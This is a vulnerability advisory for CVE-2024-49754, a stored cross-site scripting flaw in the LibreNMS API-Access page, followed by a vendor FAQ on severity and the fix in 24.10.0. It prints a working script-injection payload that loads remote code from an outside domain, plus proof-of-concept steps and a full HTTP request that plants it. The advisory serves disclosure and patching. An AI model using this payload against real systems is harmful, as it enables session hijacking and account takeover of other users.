CVE-2024-49754

A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice, once in the "Token Hash" column and once in the "QR Code" column.

The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153

PoC

1. Create a new API token with the following payload in the "token" parameter: '"><script/src=//15.rs></script>
2. Save the token.
3. Navigate to the API Access page.
4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.

POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

_token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create

The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2024-49754 has a CVSS score of 7.5 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (24.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-49754? CVE-2024-49754 is a high-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions <= 24.9.1. It is fixed in 24.10.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2024-49754? CVE-2024-49754 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2024-49754? librenms/librenms (composer) versions <= 24.9.1 is affected.
4. Is there a fix for CVE-2024-49754? Yes. CVE-2024-49754 is fixed in 24.10.0. Upgrade to this version or later.
5. Is CVE-2024-49754 exploitable, and should I be worried? Whether CVE-2024-49754 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-49754 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-49754? Upgrade librenms/librenms to 24.10.0 or later.